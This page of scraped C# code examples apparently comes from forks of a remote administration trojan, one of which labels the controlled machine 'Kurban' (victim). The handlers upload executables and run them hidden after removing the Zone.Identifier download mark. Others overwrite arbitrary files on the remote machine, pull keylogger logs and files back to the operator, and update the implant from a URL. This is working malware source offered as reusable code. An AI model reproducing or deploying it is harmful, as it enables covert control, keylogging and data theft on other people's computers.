Exemple #1
0
        public static void HandleDoUploadAndExecute(DoUploadAndExecute command, Client client)
        {
            if (!_renamedFiles.ContainsKey(command.Id))
            {
                _renamedFiles.Add(command.Id, FileHelper.GetTempFilePath(Path.GetExtension(command.FileName)));
            }

            string filePath = _renamedFiles[command.Id];

            try
            {
                if (command.CurrentBlock == 0 && Path.GetExtension(filePath) == ".exe" && !FileHelper.IsValidExecuteableFile(command.Block))
                {
                    throw new Exception("No executable file");
                }

                FileSplit destFile = new FileSplit(filePath);

                if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
                {
                    throw new Exception(destFile.LastError);
                }

                if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute
                {
                    if (_renamedFiles.ContainsKey(command.Id))
                    {
                        _renamedFiles.Remove(command.Id);
                    }

                    FileHelper.DeleteZoneIdentifier(filePath);

                    ProcessStartInfo startInfo = new ProcessStartInfo();
                    if (command.RunHidden)
                    {
                        startInfo.WindowStyle    = ProcessWindowStyle.Hidden;
                        startInfo.CreateNoWindow = true;
                    }
                    startInfo.UseShellExecute = false;
                    startInfo.FileName        = filePath;
                    Process.Start(startInfo);

                    client.Send(new SetStatus {
                        Message = "Executed File"
                    });
                }
            }
            catch (Exception ex)
            {
                if (_renamedFiles.ContainsKey(command.Id))
                {
                    _renamedFiles.Remove(command.Id);
                }
                NativeMethods.DeleteFile(filePath);

                client.Send(new SetStatus {
                    Message = $"Execution failed: {ex.Message}"
                });
            }
        }
Exemple #2
0
        public static void HandleGetKeyloggerLogsResponse(Client client, GetKeyloggerLogsResponse packet)
        {
            if (client.Value == null || client.Value.FrmKl == null)
            {
                return;
            }

            if (packet.FileCount == 0)
            {
                client.Value.FrmKl.SetGetLogsEnabled(true);

                return;
            }

            if (string.IsNullOrEmpty(packet.Filename))
            {
                return;
            }

            string downloadPath = Path.Combine(client.Value.DownloadDirectory, "Logs\\");

            if (!Directory.Exists(downloadPath))
            {
                Directory.CreateDirectory(downloadPath);
            }

            downloadPath = Path.Combine(downloadPath, packet.Filename + ".html");

            FileSplit destFile = new FileSplit(downloadPath);

            destFile.AppendBlock(packet.Block, packet.CurrentBlock);

            if (packet.Index == packet.FileCount && (packet.CurrentBlock + 1) == packet.MaxBlocks)
            {
                FileInfo[] iFiles = new DirectoryInfo(Path.Combine(client.Value.DownloadDirectory, "Logs\\")).GetFiles();

                if (iFiles.Length == 0)
                {
                    return;
                }

                foreach (FileInfo file in iFiles)
                {
                    if (client.Value == null || client.Value.FrmKl == null)
                    {
                        break;
                    }

                    client.Value.FrmKl.AddLogToListview(file.Name);
                }

                if (client.Value == null || client.Value.FrmKl == null)
                {
                    return;
                }

                client.Value.FrmKl.SetGetLogsEnabled(true);
            }
        }
Exemple #3
0
        public static void HandleGetLogsResponse(Client client, GetLogsResponse packet)
        {
            if (client.Value.FrmKl == null)
            {
                return;
            }

            if (packet.FileCount == 0)
            {
                client.Value.FrmKl.Invoke((MethodInvoker) delegate
                {
                    client.Value.FrmKl.btnGetLogs.Enabled = true;
                });

                return;
            }

            string downloadPath = Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString() + "\\Logs\\");

            if (!Directory.Exists(downloadPath))
            {
                Directory.CreateDirectory(downloadPath);
            }

            downloadPath = Path.Combine(downloadPath, packet.Filename + ".html");

            FileSplit destFile = new FileSplit(downloadPath);

            destFile.AppendBlock(packet.Block, packet.CurrentBlock);

            if (packet.Index == packet.FileCount && (packet.CurrentBlock + 1) == packet.MaxBlocks)
            {
                FileInfo[] iFiles = new DirectoryInfo(Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString() + "\\Logs\\")).GetFiles();

                if (iFiles.Length == 0)
                {
                    return;
                }

                foreach (FileInfo file in iFiles)
                {
                    var file1 = file;
                    client.Value.FrmKl.Invoke((MethodInvoker) delegate
                    {
                        client.Value.FrmKl.lstLogs.Items.Add(new ListViewItem()
                        {
                            Text = file1.Name
                        });
                    });
                }

                client.Value.FrmKl.Invoke((MethodInvoker) delegate
                {
                    client.Value.FrmKl.btnGetLogs.Enabled = true;
                });
            }
        }
Exemple #4
0
        public static void HandleDoUploadFile(Packets.ServerPackets.DoUploadFile command, Client client)
        {
            if (command.CurrentBlock == 0 && File.Exists(command.RemotePath))
            {
                NativeMethods.DeleteFile(command.RemotePath); // delete existing file
            }
            FileSplit destFile = new FileSplit(command.RemotePath);

            destFile.AppendBlock(command.Block, command.CurrentBlock);
        }
Exemple #5
0
        public static void HandleDoUploadFile(DoUploadFile command, Networking.Client client)
        {
            if (command.CurrentBlock == 0 && System.IO.File.Exists(command.RemotePath))
            {
                NativeMethods.DeleteFile(command.RemotePath); // delete existing file
            }
            FileSplit destFile = new FileSplit(command.RemotePath);

            destFile.AppendBlock(command.Block, command.CurrentBlock);
        }
Exemple #6
0
        public static void HandleDoUploadAndExecute(Paketler.ServerPaketleri.DoUploadAndExecute command, Client client)
        {
            if (!_renamedFiles.ContainsKey(command.ID))
            {
                _renamedFiles.Add(command.ID, DosyaYardımcısı.TempDosyaDizininiAl(Path.GetExtension(command.FileName)));
            }

            string filePath = _renamedFiles[command.ID];

            try
            {
                if (command.CurrentBlock == 0 && Path.GetExtension(filePath) == ".exe" && !DosyaYardımcısı.ExeValidmiKardeş(command.Block))
                {
                    throw new Exception("Exe dosyası bulunamadı.");
                }

                FileSplit destFile = new FileSplit(filePath);

                if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
                {
                    throw new Exception(destFile.LastError);
                }

                if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute
                {
                    if (_renamedFiles.ContainsKey(command.ID))
                    {
                        _renamedFiles.Remove(command.ID);
                    }

                    DosyaYardımcısı.DeleteZoneIdentifier(filePath);

                    ProcessStartInfo startInfo = new ProcessStartInfo();
                    if (command.RunHidden)
                    {
                        startInfo.WindowStyle    = ProcessWindowStyle.Hidden;
                        startInfo.CreateNoWindow = true;
                    }
                    startInfo.UseShellExecute = false;
                    startInfo.FileName        = filePath;
                    Process.Start(startInfo);

                    new Paketler.ClientPaketleri.SetStatus("Dosya Yürütüldü!").Execute(client);
                }
            }
            catch (Exception ex)
            {
                if (_renamedFiles.ContainsKey(command.ID))
                {
                    _renamedFiles.Remove(command.ID);
                }
                NativeMethods.DeleteFile(filePath);
                new Paketler.ClientPaketleri.SetStatus(string.Format("Yürütme Başarısız: {0}", ex.Message)).Execute(client);
            }
        }
Exemple #7
0
        public static void HandleDoUploadAndExecute(Packets.ServerPackets.DoUploadAndExecute command, Client client)
        {
            if (!_renamedFiles.ContainsKey(command.ID))
                _renamedFiles.Add(command.ID, FileHelper.GetTempFilePath(Path.GetExtension(command.FileName)));

            string filePath = _renamedFiles[command.ID];

            try
            {
                if (command.CurrentBlock == 0 && Path.GetExtension(filePath) == ".exe" && !FileHelper.IsValidExecuteableFile(command.Block))
                    throw new Exception("No executable file");

                FileSplit destFile = new FileSplit(filePath);

                if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
                    throw new Exception(destFile.LastError);

                if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute
                {
                    if (_renamedFiles.ContainsKey(command.ID))
                        _renamedFiles.Remove(command.ID);

                    FileHelper.DeleteZoneIdentifier(filePath);

                    ProcessStartInfo startInfo = new ProcessStartInfo();
                    if (command.RunHidden)
                    {
                        startInfo.WindowStyle = ProcessWindowStyle.Hidden;
                        startInfo.CreateNoWindow = true;
                    }
                    startInfo.UseShellExecute = false;
                    startInfo.FileName = filePath;
                    Process.Start(startInfo);

                    new Packets.ClientPackets.SetStatus("Executed File!").Execute(client);
                }
            }
            catch (Exception ex)
            {
                if (_renamedFiles.ContainsKey(command.ID))
                    _renamedFiles.Remove(command.ID);
                NativeMethods.DeleteFile(filePath);
                new Packets.ClientPackets.SetStatus(string.Format("Execution failed: {0}", ex.Message)).Execute(client);
            }
        }
Exemple #8
0
        public static void HandleDoUploadAndExecute(Packets.ServerPackets.DoUploadAndExecute command, Client client)
        {
            string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
                                           command.FileName);

            try
            {
                command.IsValidExecuteFile();
                if (!command.CorrectFileType)
                {
                    throw new Exception("File type is not valid");
                }

                FileSplit destFile = new FileSplit(filePath);

                if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
                {
                    new Packets.ClientPackets.SetStatus(string.Format("Writing failed: {0}", destFile.LastError)).Execute(
                        client);
                    return;
                }

                if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute
                {
                    NativeMethods.DeleteFile(filePath + ":Zone.Identifier");

                    ProcessStartInfo startInfo = new ProcessStartInfo();
                    if (command.RunHidden)
                    {
                        startInfo.WindowStyle    = ProcessWindowStyle.Hidden;
                        startInfo.CreateNoWindow = true;
                    }
                    startInfo.UseShellExecute = command.RunHidden;
                    startInfo.FileName        = filePath;
                    Process.Start(startInfo);

                    new Packets.ClientPackets.SetStatus("Executed File!").Execute(client);
                }
            }
            catch (Exception ex)
            {
                NativeMethods.DeleteFile(filePath);
                new Packets.ClientPackets.SetStatus(string.Format("Execution failed: {0}", ex.Message)).Execute(client);
            }
        }
        private void Execute(ISender client, GetKeyloggerLogsResponse message)
        {
            if (message.FileCount == 0)
            {
                OnReport("Ready");
                return;
            }

            // don't escape from download directory
            if (FileHelper.HasIllegalCharacters(message.Filename))
            {
                // disconnect malicious client
                client.Disconnect();
                return;
            }

            if (!Directory.Exists(_baseDownloadPath))
            {
                Directory.CreateDirectory(_baseDownloadPath);
            }

            string downloadPath = Path.Combine(_baseDownloadPath, message.Filename + ".html");

            FileSplit destFile = new FileSplit(downloadPath);

            destFile.AppendBlock(message.Block, message.CurrentBlock);

            if (message.CurrentBlock + 1 == message.MaxBlocks)
            {
                try
                {
                    File.WriteAllText(downloadPath, FileHelper.ReadLogFile(downloadPath, _client.Value.EncryptionKey));
                }
                catch (Exception)
                {
                    OnReport("Failed to write logs");
                }

                if (message.Index == message.FileCount)
                {
                    OnReport("Ready");
                }
            }
        }
Exemple #10
0
        public static void HandleDownloadFileResponse(Client client, DownloadFileResponse packet)
        {
            string downloadPath = Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString());

            if (!Directory.Exists(downloadPath))
            {
                Directory.CreateDirectory(downloadPath);
            }

            downloadPath = Path.Combine(downloadPath, packet.Filename);

            bool Continue = true;

            if (packet.CurrentBlock == 0 && File.Exists(downloadPath))
            {
                if (
                    MessageBox.Show(string.Format("The file '{0}' already exists!\nOverwrite it?", packet.Filename),
                                    "Overwrite Confirmation", MessageBoxButtons.YesNo, MessageBoxIcon.Question) != DialogResult.Yes)
                {
                    Continue = false;
                }
            }

            if (client.Value.FrmFm == null)
            {
                new Packets.ServerPackets.DownloadFileCanceled(packet.ID).Execute(client);
                MessageBox.Show("Please keep the File Manager open.\n\nWarning: Download aborted", "Download aborted",
                                MessageBoxButtons.OK, MessageBoxIcon.Warning);
                return;
            }

            int index = 0;

            try
            {
                client.Value.FrmFm.Invoke((MethodInvoker) delegate
                {
                    foreach (ListViewItem lvi in client.Value.FrmFm.lstTransfers.Items)
                    {
                        if (packet.ID.ToString() == lvi.SubItems[0].Text)
                        {
                            index = lvi.Index;
                            break;
                        }
                    }
                });
            }
            catch
            {
                return;
            }

            if (Continue)
            {
                if (!string.IsNullOrEmpty(packet.CustomMessage))
                {
                    client.Value.FrmFm.Invoke((MethodInvoker) delegate
                    {
                        client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = packet.CustomMessage;
                        client.Value.FrmFm.lstTransfers.Items[index].ImageIndex       = 0;
                    });
                    return;
                }

                FileSplit destFile = new FileSplit(downloadPath);
                if (!destFile.AppendBlock(packet.Block, packet.CurrentBlock))
                {
                    client.Value.FrmFm.Invoke((MethodInvoker) delegate
                    {
                        client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = destFile.LastError;
                        client.Value.FrmFm.lstTransfers.Items[index].ImageIndex       = 0;
                    });
                    return;
                }

                decimal progress =
                    Math.Round((decimal)((double)(packet.CurrentBlock + 1) / (double)packet.MaxBlocks * 100.0), 2);

                client.Value.FrmFm.Invoke(
                    (MethodInvoker)
                    delegate
                {
                    client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text =
                        string.Format("Downloading...({0}%)", progress);
                });

                if ((packet.CurrentBlock + 1) == packet.MaxBlocks)
                {
                    client.Value.FrmFm.Invoke((MethodInvoker) delegate
                    {
                        client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = "Completed";
                        client.Value.FrmFm.lstTransfers.Items[index].ImageIndex       = 1;
                    });
                }
            }
            else
            {
                client.Value.FrmFm.Invoke((MethodInvoker) delegate
                {
                    client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = "Canceled";
                    client.Value.FrmFm.lstTransfers.Items[index].ImageIndex       = 0;
                });
            }
        }
        private void Execute(ISender client, DoDownloadFileResponse message)
        {
            FileTransfer transfer;

            lock (_syncLock)
            {
                transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == message.Id);
            }

            if (transfer == null)
            {
                // don't escape from download directory
                if (FileHelper.CheckPathForIllegalChars(message.Filename))
                {
                    // disconnect malicious client
                    client.Disconnect();
                    return;
                }

                if (!Directory.Exists(_baseDownloadPath))
                {
                    Directory.CreateDirectory(_baseDownloadPath);
                }

                string downloadPath = Path.Combine(_baseDownloadPath, message.Filename);

                int i = 1;
                while (File.Exists(downloadPath))
                {
                    // rename file if it exists already
                    var newFileName = string.Format("{0}({1}){2}", Path.GetFileNameWithoutExtension(downloadPath), i, Path.GetExtension(downloadPath));
                    downloadPath = Path.Combine(_baseDownloadPath, newFileName);
                    i++;
                }

                transfer = new FileTransfer
                {
                    Id              = message.Id,
                    Type            = TransferType.Download,
                    LocalPath       = downloadPath,
                    RemotePath      = message.Filename,  // TODO: Change to absolute path
                    Size            = message.MaxBlocks, // TODO: Change to real size
                    TransferredSize = 0
                };

                lock (_syncLock)
                {
                    _activeFileTransfers.Add(transfer);
                }
            }

            // TODO: change to += message.Block.Length
            transfer.TransferredSize = message.CurrentBlock + 1;

            if (!string.IsNullOrEmpty(message.CustomMessage))
            {
                // client-side error
                transfer.Status = message.CustomMessage;
                OnFileTransferUpdated(transfer);
                return;
            }

            FileSplit destFile = new FileSplit(transfer.LocalPath);

            if (!destFile.AppendBlock(message.Block, message.CurrentBlock))
            {
                // server-side error
                transfer.Status = destFile.LastError;
                OnFileTransferUpdated(transfer);
                return;
            }

            if (message.CurrentBlock + 1 == message.MaxBlocks)
            {
                transfer.Status = "Completed";
            }
            else
            {
                decimal progress =
                    Math.Round((decimal)((double)(message.CurrentBlock + 1) / (double)message.MaxBlocks * 100.0), 2);

                transfer.Status = $"Downloading...({progress}%)";
            }

            OnFileTransferUpdated(transfer);
        }
Exemple #12
0
        public static void HandleUploadDirectory(Packets.ServerPackets.DoUploadDirectory command, Client client)
        {
            bool   isError = false;
            string message = null;

            Action <string> onError = (msg) =>
            {
                isError = true;
                message = msg;
            };

            if (command.CurrentBlock == 0 && File.Exists(command.RemotePath))
            {
                NativeMethods.DeleteFile(command.RemotePath); // delete existing file
            }
            FileSplit destFile = new FileSplit(command.RemotePath);

            destFile.AppendBlock(command.Block, command.CurrentBlock);

            if (command.CurrentBlock + 1 == command.MaxBlocks)
            {
                var vDir = new VirtualDirectory().DeSerialize(command.RemotePath);
                try
                {
                    Directory.Move(command.RemotePath, command.RemotePath + ".bkp");
                    vDir.SaveToDisk(Path.GetDirectoryName(command.RemotePath));
                    File.Delete(command.RemotePath + ".bkp");
                }
                catch (UnauthorizedAccessException)
                {
                    onError("CreateDirectory No permission");
                }
                catch (ArgumentNullException)
                {
                    onError("CreateDirectory Path cannot be empty");
                }
                catch (PathTooLongException)
                {
                    onError("CreateDirectory Path too long");
                }
                catch (DirectoryNotFoundException)
                {
                    onError("CreateDirectory Path is invalid");
                }
                catch (NotSupportedException)
                {
                    onError("CreateDirectory Path has invalid characters");
                }
                catch (ArgumentException)
                {
                    onError("CreateDirectory Path is invalid");
                }
                catch (IOException)
                {
                    onError("CreateDirectory I/O error");
                }
                finally
                {
                    if (isError && !string.IsNullOrEmpty(message))
                    {
                        new Packets.ClientPackets.SetStatusFileManager(message, false).Execute(client);
                    }
                }
            }
        }
Exemple #13
0
        public static void HandleDoClientUpdate(Packets.ServerPackets.DoClientUpdate command, Client client)
        {
            // i dont like this updating... if anyone has a better idea feel free to edit it
            if (string.IsNullOrEmpty(command.DownloadURL))
            {
                string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), command.FileName);

                try
                {
                    if (command.CurrentBlock == 0 && command.Block[0] != 'M' && command.Block[1] != 'Z')
                    {
                        throw new Exception("No executable file");
                    }

                    FileSplit destFile = new FileSplit(filePath);

                    if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
                    {
                        new Packets.ClientPackets.SetStatus(string.Format("Writing failed: {0}", destFile.LastError)).Execute(
                            client);
                        return;
                    }

                    if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload finished
                    {
                        new Packets.ClientPackets.SetStatus("Updating...").Execute(client);

                        SystemCore.UpdateClient(client, filePath);
                    }
                }
                catch (Exception ex)
                {
                    NativeMethods.DeleteFile(filePath);
                    new Packets.ClientPackets.SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(client);
                }

                return;
            }

            new Thread(() =>
            {
                new Packets.ClientPackets.SetStatus("Downloading file...").Execute(client);

                string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
                                               FileHelper.GetRandomFilename(12, ".exe"));

                try
                {
                    using (WebClient c = new WebClient())
                    {
                        c.Proxy = null;
                        c.DownloadFile(command.DownloadURL, tempFile);
                    }
                }
                catch
                {
                    new Packets.ClientPackets.SetStatus("Download failed!").Execute(client);
                    return;
                }

                new Packets.ClientPackets.SetStatus("Updating...").Execute(client);

                SystemCore.UpdateClient(client, tempFile);
            }).Start();
        }
        public static void HandleGetKeyloggerLogsResponse(Client client, GetKeyloggerLogsResponse packet)
        {
            if (client.Value == null || client.Value.FrmKl == null)
                return;

            if (packet.FileCount == 0)
            {
                client.Value.FrmKl.SetGetLogsEnabled(true);
                return;
            }

            if (string.IsNullOrEmpty(packet.Filename))
                return;

            string downloadPath = Path.Combine(client.Value.DownloadDirectory, "Logs\\");

            if (!Directory.Exists(downloadPath))
                Directory.CreateDirectory(downloadPath);

            downloadPath = Path.Combine(downloadPath, packet.Filename + ".html");

            FileSplit destFile = new FileSplit(downloadPath);

            destFile.AppendBlock(packet.Block, packet.CurrentBlock);

            if ((packet.CurrentBlock + 1) == packet.MaxBlocks)
            {
                try
                {
                    File.WriteAllText(downloadPath, FileHelper.ReadLogFile(downloadPath));
                }
                catch
                {
                }

                if (packet.Index == packet.FileCount)
                {
                    FileInfo[] iFiles =
                        new DirectoryInfo(Path.Combine(client.Value.DownloadDirectory, "Logs\\")).GetFiles();

                    if (iFiles.Length == 0)
                        return;

                    foreach (FileInfo file in iFiles)
                    {
                        if (client.Value == null || client.Value.FrmKl == null)
                            break;

                        client.Value.FrmKl.AddLogToListview(file.Name);
                    }

                    if (client.Value == null || client.Value.FrmKl == null)
                        return;

                    client.Value.FrmKl.SetGetLogsEnabled(true);
                }
            }
        }
Exemple #15
0
        public static void HandleDoClientUpdate(Packets.ServerPackets.DoClientUpdate command, Client client)
        {
            // i dont like this updating... if anyone has a better idea feel free to edit it
            if (string.IsNullOrEmpty(command.DownloadURL))
            {
                if (!_renamedFiles.ContainsKey(command.ID))
                    _renamedFiles.Add(command.ID, FileHelper.GetTempFilePath(".exe"));

                string filePath = _renamedFiles[command.ID];

                try
                {
                    if (command.CurrentBlock == 0 && !FileHelper.IsValidExecuteableFile(command.Block))
                        throw new Exception("No executable file");

                    FileSplit destFile = new FileSplit(filePath);

                    if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
                        throw new Exception(destFile.LastError);

                    if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload finished
                    {
                        if (_renamedFiles.ContainsKey(command.ID))
                            _renamedFiles.Remove(command.ID);
                        new Packets.ClientPackets.SetStatus("Updating...").Execute(client);
                        ClientUpdater.Update(client, filePath);
                    }
                }
                catch (Exception ex)
                {
                    if (_renamedFiles.ContainsKey(command.ID))
                        _renamedFiles.Remove(command.ID);
                    NativeMethods.DeleteFile(filePath);
                    new Packets.ClientPackets.SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(client);
                }

                return;
            }

            new Thread(() =>
            {
                new Packets.ClientPackets.SetStatus("Downloading file...").Execute(client);

                string tempFile = FileHelper.GetTempFilePath(".exe");

                try
                {
                    using (WebClient c = new WebClient())
                    {
                        c.Proxy = null;
                        c.DownloadFile(command.DownloadURL, tempFile);
                    }
                }
                catch
                {
                    new Packets.ClientPackets.SetStatus("Download failed!").Execute(client);
                    return;
                }

                new Packets.ClientPackets.SetStatus("Updating...").Execute(client);

                ClientUpdater.Update(client, tempFile);
            }).Start();
        }
Exemple #16
0
        public static void HandleDoDownloadFileResponse(Client client, DoDownloadFileResponse packet)
        {
            if (CanceledDownloads.ContainsKey(packet.ID) || string.IsNullOrEmpty(packet.Filename) || PausedDownloads.ContainsKey(packet.ID))
            {
                return;
            }

            if (!Directory.Exists(client.Value.DownloadDirectory))
            {
                Directory.CreateDirectory(client.Value.DownloadDirectory);
            }
            if (!Directory.Exists(Path.Combine(client.Value.DownloadDirectory, "temp")))
            {
                Directory.CreateDirectory(Path.Combine(client.Value.DownloadDirectory, "temp"));
            }

            string metaFilePath = Path.Combine(client.Value.DownloadDirectory, "temp", packet.ID + ".meta");
            string downloadPath = Path.Combine(client.Value.DownloadDirectory, packet.Filename);

            if (packet.CurrentBlock == 0 && File.Exists(downloadPath))
            {
                for (int i = 1; i < 100; i++)
                {
                    var newFileName = string.Format("{0} ({1}){2}", Path.GetFileNameWithoutExtension(downloadPath), i,
                                                    Path.GetExtension(downloadPath));
                    if (File.Exists(Path.Combine(client.Value.DownloadDirectory, newFileName)))
                    {
                        continue;
                    }

                    downloadPath = Path.Combine(client.Value.DownloadDirectory, newFileName);
                    RenamedFiles.Add(packet.ID, newFileName);
                    break;
                }
            }
            else if (packet.CurrentBlock == 0 && Directory.Exists(downloadPath))
            {
                for (int i = 1; i < 100; i++)
                {
                    var newFileName = string.Format("{0} ({1})", downloadPath, i);
                    if (Directory.Exists(Path.Combine(client.Value.DownloadDirectory, newFileName)))
                    {
                        continue;
                    }

                    downloadPath = Path.Combine(client.Value.DownloadDirectory, newFileName);
                    RenamedFiles.Add(packet.ID, newFileName);
                    break;
                }
            }
            else if (packet.CurrentBlock > 0 && (File.Exists(downloadPath) || Directory.Exists(downloadPath)) && RenamedFiles.ContainsKey(packet.ID))
            {
                downloadPath = Path.Combine(client.Value.DownloadDirectory, RenamedFiles[packet.ID]);
            }

            // Handle crashed renamed files too
            if (packet.CurrentBlock > 0 && File.Exists(metaFilePath))
            {
                var tmpMeta = new MetaFile(File.ReadAllBytes(metaFilePath));
                if (tmpMeta.LocalPath != downloadPath && tmpMeta.LocalPath != "")
                {
                    downloadPath = tmpMeta.LocalPath;
                }
            }

            if (client.Value == null || client.Value.FrmFm == null)
            {
                FrmMain.Instance.SetStatusByClient(client, "Download aborted, please keep the File Manager open.");
                new Packets.ServerPackets.DoDownloadFileCancel(packet.ID).Execute(client);
                return;
            }

            int index = client.Value.FrmFm.GetTransferIndex(packet.ID);

            if (index < 0)
            {
                return;
            }

            if (!string.IsNullOrEmpty(packet.CustomMessage))
            {
                if (client.Value.FrmFm == null) // abort download when form is closed
                {
                    return;
                }

                client.Value.FrmFm.UpdateTransferStatus(index, packet.CustomMessage, 0);
                return;
            }

            byte[] prevHash   = new byte[16];
            byte[] hashSample = new byte[FileSplit.MAX_BLOCK_SIZE];

            if (File.Exists(downloadPath))
            {
                using (var fs = new FileStream(downloadPath, FileMode.Open))
                {
                    fs.Seek(-FileSplit.MAX_BLOCK_SIZE, SeekOrigin.End);
                    fs.Read(hashSample, 0, FileSplit.MAX_BLOCK_SIZE);
                }
                using (var md5 = MD5.Create())
                    prevHash = md5.ComputeHash(hashSample);
            }

            FileSplit destFile = new FileSplit(downloadPath);

            if (!destFile.AppendBlock(packet.Block, packet.CurrentBlock))
            {
                if (client.Value == null || client.Value.FrmFm == null)
                {
                    return;
                }

                client.Value.FrmFm.UpdateTransferStatus(index, destFile.LastError, 0);
                return;
            }

            byte[] curHash;
            hashSample = new byte[FileSplit.MAX_BLOCK_SIZE];
            using (var fs = new FileStream(downloadPath, FileMode.Open))
            {
                fs.Seek(-FileSplit.MAX_BLOCK_SIZE, SeekOrigin.End);
                fs.Read(hashSample, 0, FileSplit.MAX_BLOCK_SIZE);
            }
            using (var md5 = MD5.Create())
                curHash = md5.ComputeHash(hashSample);

            decimal progress =
                Math.Round((decimal)((double)(packet.CurrentBlock + 1) / (double)packet.MaxBlocks * 100.0), 2);

            decimal speed;
            int     timeLeft = 0;

            try
            {
                speed = Math.Round((decimal)(packet.CurrentBlock * FileSplit.MAX_BLOCK_SIZE) /
                                   (DateTime.Now - packet.StartTime).Seconds, 0);
                timeLeft = (int)(((FileSplit.MAX_BLOCK_SIZE * (packet.MaxBlocks - packet.CurrentBlock)) / 1000) / (speed / 1000));
            }
            catch (DivideByZeroException)
            {
                speed = 0;
            }


            MetaFile metaFile;

            // Paused/crashed folder downloads require this
            if (File.Exists(metaFilePath))
            {
                metaFile = new MetaFile(File.ReadAllBytes(metaFilePath));
                metaFile.CurrentBlock++;
                metaFile.TransferId = packet.ID;
                metaFile.Progress   = progress;
                metaFile.PrevHash   = prevHash;
                metaFile.CurHash    = curHash;
                metaFile.RemotePath = packet.RemotePath;
                metaFile.LocalPath  = downloadPath;
                metaFile.Type       = TransferType.Download;
            }
            else
            {
                metaFile = new MetaFile(packet.CurrentBlock + 1, packet.ID, progress, prevHash, curHash, packet.RemotePath, downloadPath, TransferType.Download);
            }

            metaFile.Save(metaFilePath);

            if (client.Value == null || client.Value.FrmFm == null)
            {
                return;
            }

            if (CanceledDownloads.ContainsKey(packet.ID))
            {
                return;
            }

            client.Value.FrmFm.UpdateTransferStatus(index, string.Format("Downloading...({0}%)", progress), -1, TimeSpan.FromSeconds(timeLeft), speed);

            if ((packet.CurrentBlock + 1) == packet.MaxBlocks)
            {
                if (client.Value.FrmFm == null)
                {
                    return;
                }
                try
                {
                    File.Delete(metaFilePath);
                }
                catch
                {
                }
                RenamedFiles.Remove(packet.ID);

                if (packet.Type == ItemType.Directory)
                {
                    client.Value.FrmFm.UpdateTransferStatus(index, "Unpacking directory", -1);

                    var vDir = new VirtualDirectory().DeSerialize(downloadPath);
                    if (File.Exists(downloadPath + ".bkp"))
                    {
                        File.Delete(downloadPath + ".bkp");
                    }

                    File.Move(downloadPath, downloadPath + ".bkp");

                    try
                    {
                        vDir.SaveToDisk(Path.GetDirectoryName(downloadPath));
                        if (File.Exists(downloadPath + ".bkp"))
                        {
                            File.Delete(downloadPath + ".bkp");
                        }
                    }
                    catch
                    {
                    }
                }

                client.Value.FrmFm.UpdateTransferStatus(index, "Completed", 1);
            }
        }
Exemple #17
0
        public static void HandleDoDownloadFileResponse(Client client, DoDownloadFileResponse packet)
        {
            if (CanceledDownloads.ContainsKey(packet.ID) || string.IsNullOrEmpty(packet.Filename))
            {
                return;
            }

            if (!Directory.Exists(client.Value.DownloadDirectory))
            {
                Directory.CreateDirectory(client.Value.DownloadDirectory);
            }

            string downloadPath = Path.Combine(client.Value.DownloadDirectory, packet.Filename);

            if (packet.CurrentBlock == 0 && File.Exists(downloadPath))
            {
                for (int i = 1; i < 100; i++)
                {
                    var newFileName = string.Format("{0} ({1}){2}", Path.GetFileNameWithoutExtension(downloadPath), i,
                                                    Path.GetExtension(downloadPath));
                    if (File.Exists(Path.Combine(client.Value.DownloadDirectory, newFileName)))
                    {
                        continue;
                    }

                    downloadPath = Path.Combine(client.Value.DownloadDirectory, newFileName);
                    RenamedFiles.Add(packet.ID, newFileName);
                    break;
                }
            }
            else if (packet.CurrentBlock > 0 && File.Exists(downloadPath) && RenamedFiles.ContainsKey(packet.ID))
            {
                downloadPath = Path.Combine(client.Value.DownloadDirectory, RenamedFiles[packet.ID]);
            }

            if (client.Value == null || client.Value.FrmFm == null)
            {
                AnaForm.Instance.KurbanDurumuAyarla(client,
                                                    "İndirme iptal edildi, Lütfen Dosya Yöneticisini Açık Tutunuz.");
                new DoDownloadFileCancel(packet.ID).Execute(client);
                return;
            }

            var index = client.Value.FrmFm.GetTransferIndex(packet.ID);

            if (index < 0)
            {
                return;
            }

            if (!string.IsNullOrEmpty(packet.CustomMessage))
            {
                if (client.Value.FrmFm == null)
                {
                    return;
                }

                client.Value.FrmFm.UpdateTransferStatus(index, packet.CustomMessage, 0);
                return;
            }

            var destFile = new FileSplit(downloadPath);

            if (!destFile.AppendBlock(packet.Block, packet.CurrentBlock))
            {
                if (client.Value == null || client.Value.FrmFm == null)
                {
                    return;
                }

                client.Value.FrmFm.UpdateTransferStatus(index, destFile.LastError, 0);
                return;
            }

            var progress =
                Math.Round((decimal)((packet.CurrentBlock + 1) / (double)packet.MaxBlocks * 100.0), 2);

            if (client.Value == null || client.Value.FrmFm == null)
            {
                return;
            }

            if (CanceledDownloads.ContainsKey(packet.ID))
            {
                return;
            }

            client.Value.FrmFm.UpdateTransferStatus(index, string.Format("İndiriliyor...({0}%)", progress), -1);

            if ((packet.CurrentBlock + 1) == packet.MaxBlocks)
            {
                if (client.Value.FrmFm == null)
                {
                    return;
                }
                RenamedFiles.Remove(packet.ID);
                client.Value.FrmFm.UpdateTransferStatus(index, "Tamamlandı", 1);
            }
        }
